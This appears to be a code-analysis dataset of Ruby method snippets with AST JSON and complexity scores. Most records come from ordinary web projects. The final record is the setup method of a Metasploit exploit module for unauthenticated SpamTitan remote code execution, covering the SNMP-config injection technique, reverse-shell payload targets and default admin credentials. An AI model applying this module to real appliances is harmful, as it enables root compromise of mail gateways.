{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/concerns/spree/api/v2/platform/nested_set_reposition_concern.rb","start_line":6,"raw_source":"def reposition\n            spree_authorize! :update, resource if spree_current_user.present?\n\n            @new_parent = scope.find(permitted_resource_params[:new_parent_id])\n            new_index = permitted_resource_params[:new_position_idx].to_i\n\n            if resource.move_to_child_with_index(@new_parent, new_index)\n              # If successful reposition call the custom method for handling success.\n              successful_reposition_actions\n            elsif resource.errors.any?\n              # If there are errors output them to the response\n              render_error_payload(resource.errors.full_messages.to_sentence)\n            else\n              # If the user drops the re-positioned item in the same location it came from\n              # we just render the serialized payload, nothing has changed, we don't need to\n              # render any errors, or fire any custom success methods.\n              render_serialized_payload { serialize_resource(resource) }\n            end\n          end","complexity_score":38.5,"ast_json":"{\"type\":\"def\",\"children\":[\"reposition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_current_user\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"spree_authorize!\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@new_parent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_resource_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_parent_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_resource_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_position_idx\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"move_to_child_with_index\",{\"type\":\"ivar\",\"children\":[\"@new_parent\"]},{\"type\":\"lvar\",\"children\":[\"new_index\"]}]},{\"type\":\"send\",\"children\":[null,\"successful_reposition_actions\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"errors\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"render_error_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_serialized_payload\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"serialize_resource\",{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]}]}]}]}]}","id":"3837ac8c-4a07-4611-adcc-0d65dd7d36d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/applications_controller.rb","start_line":71,"raw_source":"def set_application\n    @application = ApplicationsFinder.new(id: params[:id]).execute\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_application\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@application\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationsFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},\"execute\"]}]}]}","id":"f5de6d0f-b6fe-4542-bb4c-bb52bd10ceb7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file.rb","start_line":73,"raw_source":"def line_code(line)\n        line.legacy_id(file_path)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"line_code\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"legacy_id\",{\"type\":\"send\",\"children\":[null,\"file_path\"]}]}]}","id":"556e5a84-7d89-4edb-b5b7-5369b81bdfee"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/routing_test.rb","start_line":13,"raw_source":"def params(input)\n    { \"one\" => +\"this\", \"two\" => +\"is\", \"three\" => +\"a\", \"four\" => +\"test\" }\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"this\"]},\"+@\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"two\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"is\"]},\"+@\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"three\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},\"+@\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"four\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},\"+@\"]}]}]}]}","id":"f503f105-775d-42b7-b100-790a6ad2ab31"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/evals/lib/runner.rb","start_line":31,"raw_source":"def to_trace_event_json\n      trace_events = []\n      process_id = 1\n      thread_id = 1\n\n      to_trace_event(@log, process_id, thread_id, trace_events)\n\n      JSON.pretty_generate({ traceEvents: trace_events })\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"to_trace_event_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"trace_events\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"process_id\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"thread_id\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"to_trace_event\",{\"type\":\"ivar\",\"children\":[\"@log\"]},{\"type\":\"lvar\",\"children\":[\"process_id\"]},{\"type\":\"lvar\",\"children\":[\"thread_id\"]},{\"type\":\"lvar\",\"children\":[\"trace_events\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"traceEvents\"]},{\"type\":\"lvar\",\"children\":[\"trace_events\"]}]}]}]}]}]}","id":"21ef8f76-9110-4790-a563-bdace224317c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/webhooks/db/migrate/tables/webhooks_events.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration do |t|\n      t.string :name\n      t.references :webhooks_webhook, index: true, foreign_key: true\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"webhooks_webhook\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"78806eaa-1676-4040-b3df-7fdfa404dd1e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/monitor.rb","start_line":143,"raw_source":"def stats\n      @stats ||= Sidekiq::Stats.new\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@stats\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Stats\"]},\"new\"]}]}]}","id":"3b1f9f8f-8f7f-47a1-aff7-a37e98854925"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/persistence.rb","start_line":931,"raw_source":"def _update_record(attribute_names = self.attribute_names)\n        attribute_names = attributes_for_update(attribute_names)\n\n        if attribute_names.empty?\n          affected_rows = 0\n          @_trigger_update_callback = true\n        else\n          affected_rows = _update_row(attribute_names)\n          @_trigger_update_callback = affected_rows == 1\n        end\n\n        @previously_new_record = false\n\n        yield(self) if block_given?\n\n        affected_rows\n      end","complexity_score":17.65,"ast_json":"{\"type\":\"def\",\"children\":[\"_update_record\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attribute_names\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"attribute_names\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute_names\",{\"type\":\"send\",\"children\":[null,\"attributes_for_update\",{\"type\":\"lvar\",\"children\":[\"attribute_names\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_names\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"affected_rows\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@_trigger_update_callback\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"affected_rows\",{\"type\":\"send\",\"children\":[null,\"_update_row\",{\"type\":\"lvar\",\"children\":[\"attribute_names\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@_trigger_update_callback\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"affected_rows\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@previously_new_record\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"self\",\"children\":[]}]},null]},{\"type\":\"lvar\",\"children\":[\"affected_rows\"]}]}]}","id":"12435ac7-f7f2-49a6-8c30-7fdc2da63fd7"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/salesforce_consumer_goods_cloud/client.rb","start_line":120,"raw_source":"def tracking_message(success, failure)\n            Multiwoven::Integrations::Protocol::TrackingMessage.new(\n              success: success, failed: failure\n            ).to_multiwoven_message\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tracking_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"success\"]},{\"type\":\"arg\",\"children\":[\"failure\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Multiwoven\"]},\"Integrations\"]},\"Protocol\"]},\"TrackingMessage\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"lvar\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failed\"]},{\"type\":\"lvar\",\"children\":[\"failure\"]}]}]}]},\"to_multiwoven_message\"]}]}","id":"180290f8-a010-4ab3-9d04-9eac3d5ca033"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/freebsd/webapp/spamtitan_unauth_rce.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SpamTitan Unauthenticated RCE',\n        'Description' => %q{\n          TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against\n          unwanted emails and malwares. This module exploits an improper input\n          sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives\n          into the SNMP configuration file and get remote code execution as root. Note\n          that only version 7.03 needs authentication and no authentication is required\n          for versions 7.01, 7.02 and 7.07.\n\n          First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`\n          command directives (`extend` + command) passed to the `community` parameter.\n          This payload is then added to `snmpd.conf` by the application. Finally, the\n          module triggers the execution of this command by querying the SNMP server for\n          the correct OID.\n\n          This exploit module has been successfully tested against versions 7.01, 7.02,\n          7.03, and 7.07.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Christophe De La Fuente', # MSF module\n          'Felipe Molina' # original PoC\n        ],\n        'References' => [\n          [ 'EDB', '48856' ],\n          [ 'URL', 'https://www.titanhq.com/spamtitan/spamtitangateway/'],\n          [ 'CVE', '2020-11698']\n        ],\n        'CmdStagerFlavor' => %i[fetch wget curl],\n        'Payload' => {\n          'DisableNops' => true\n        },\n        'Targets' => [\n          [\n            'Unix In-Memory',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },\n              'Payload' => {\n                'BadChars' => \"\\\\'#\",\n                'Encoder' => 'cmd/perl',\n                'PrependEncoder' => '/bin/tcsh -c \\'',\n                'AppendEncoder' => '\\'#',\n                'Space' => 470\n              },\n              'Type' => :unix_memory\n            }\n          ],\n          [\n            'FreeBSD Dropper (x64)',\n            {\n              'Platform' => 'bsd',\n              'Arch' => [ARCH_X64],\n              'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },\n              'Payload' => {\n                'BadChars' => \"'#\",\n                'Space' => 450\n              },\n              'Type' => :bsd_dropper\n            }\n          ],\n          [\n            'FreeBSD Dropper (x86)',\n            {\n              'Platform' => 'bsd',\n              'Arch' => [ARCH_X86],\n              'DefaultOptions' => { 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp' },\n              'Payload' => {\n                'BadChars' => \"'#\",\n                'Space' => 450\n              },\n              'Type' => :bsd_dropper\n            }\n          ]\n        ],\n        'DisclosureDate' => '2020-04-17',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(80, true, 'The target HTTP port'),\n        OptPort.new('SNMPPORT', [ true, 'The target SNMP port (UDP)', 161 ]),\n        OptString.new('TARGETURI', [ true, 'The base path to SpamTitan', '/' ]),\n        OptString.new(\n          'USERNAME',\n          [\n            false,\n            'Username to authenticate, if required (depending on SpamTitan Gateway version)',\n            'admin'\n          ]\n        ),\n        OptString.new(\n          'PASSWORD',\n          [\n            false,\n            'Password to authenticate, if required (depending on SpamTitan Gateway version)',\n            'hiadmin'\n          ]\n        ),\n        OptString.new(\n          'COMMUNITY',\n          [\n            false,\n            'The SNMP Community String to use (random string by default)',\n            Rex::Text.rand_text_alpha(8)\n          ]\n        ),\n        OptString.new(\n          'ALLOWEDIP',\n          [\n            false,\n            'The IP address that will be allowed to query the injected `extend` '\\\n            'command. This IP will be added to the SNMP configuration file on the '\\\n            'target. This is tipically this host IP address, but can be different if '\\\n            'your are in a NAT\\'ed network. If not set, `LHOST` will be used '\\\n            'instead. If `LHOST` is not set, it will default to `127.0.0.1`.'\n          ]\n        ),\n      ], self.class\n    )\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SpamTitan Unauthenticated RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against\\n\"]},{\"type\":\"str\",\"children\":[\"          unwanted emails and malwares. This module exploits an improper input\\n\"]},{\"type\":\"str\",\"children\":[\"          sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives\\n\"]},{\"type\":\"str\",\"children\":[\"          into the SNMP configuration file and get remote code execution as root. Note\\n\"]},{\"type\":\"str\",\"children\":[\"          that only version 7.03 needs authentication and no authentication is required\\n\"]},{\"type\":\"str\",\"children\":[\"          for versions 7.01, 7.02 and 7.07.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`\\n\"]},{\"type\":\"str\",\"children\":[\"          command directives (`extend` + command) passed to the `community` parameter.\\n\"]},{\"type\":\"str\",\"children\":[\"          This payload is then added to `snmpd.conf` by the application. Finally, the\\n\"]},{\"type\":\"str\",\"children\":[\"          module triggers the execution of this command by querying the SNMP server for\\n\"]},{\"type\":\"str\",\"children\":[\"          the correct OID.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit module has been successfully tested against versions 7.01, 7.02,\\n\"]},{\"type\":\"str\",\"children\":[\"          7.03, and 7.07.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Christophe De La Fuente\"]},{\"type\":\"str\",\"children\":[\"Felipe Molina\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"48856\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.titanhq.com/spamtitan/spamtitangateway/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-11698\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"fetch\"]},{\"type\":\"sym\",\"children\":[\"wget\"]},{\"type\":\"sym\",\"children\":[\"curl\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix In-Memory\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\\\'#\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Encoder\"]},{\"type\":\"str\",\"children\":[\"cmd/perl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PrependEncoder\"]},{\"type\":\"str\",\"children\":[\"/bin/tcsh -c '\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AppendEncoder\"]},{\"type\":\"str\",\"children\":[\"'#\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[470]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_memory\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"FreeBSD Dropper (x64)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"bsd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"bsd/x64/shell_reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"'#\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[450]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"bsd_dropper\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"FreeBSD Dropper (x86)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"bsd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"bsd/x86/shell_reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"'#\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[450]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"bsd_dropper\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-04-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]},{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target HTTP port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SNMPPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target SNMP port (UDP)\"]},{\"type\":\"int\",\"children\":[161]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to SpamTitan\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username to authenticate, if required (depending on SpamTitan Gateway version)\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to authenticate, if required (depending on SpamTitan Gateway version)\"]},{\"type\":\"str\",\"children\":[\"hiadmin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"COMMUNITY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The SNMP Community String to use (random string by default)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ALLOWEDIP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The IP address that will be allowed to query the injected `extend` \"]},{\"type\":\"str\",\"children\":[\"command. This IP will be added to the SNMP configuration file on the \"]},{\"type\":\"str\",\"children\":[\"target. This is tipically this host IP address, but can be different if \"]},{\"type\":\"str\",\"children\":[\"your are in a NAT'ed network. If not set, `LHOST` will be used \"]},{\"type\":\"str\",\"children\":[\"instead. If `LHOST` is not set, it will default to `127.0.0.1`.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"b640b6f8-c663-4508-a91a-71efb50a46b3"}
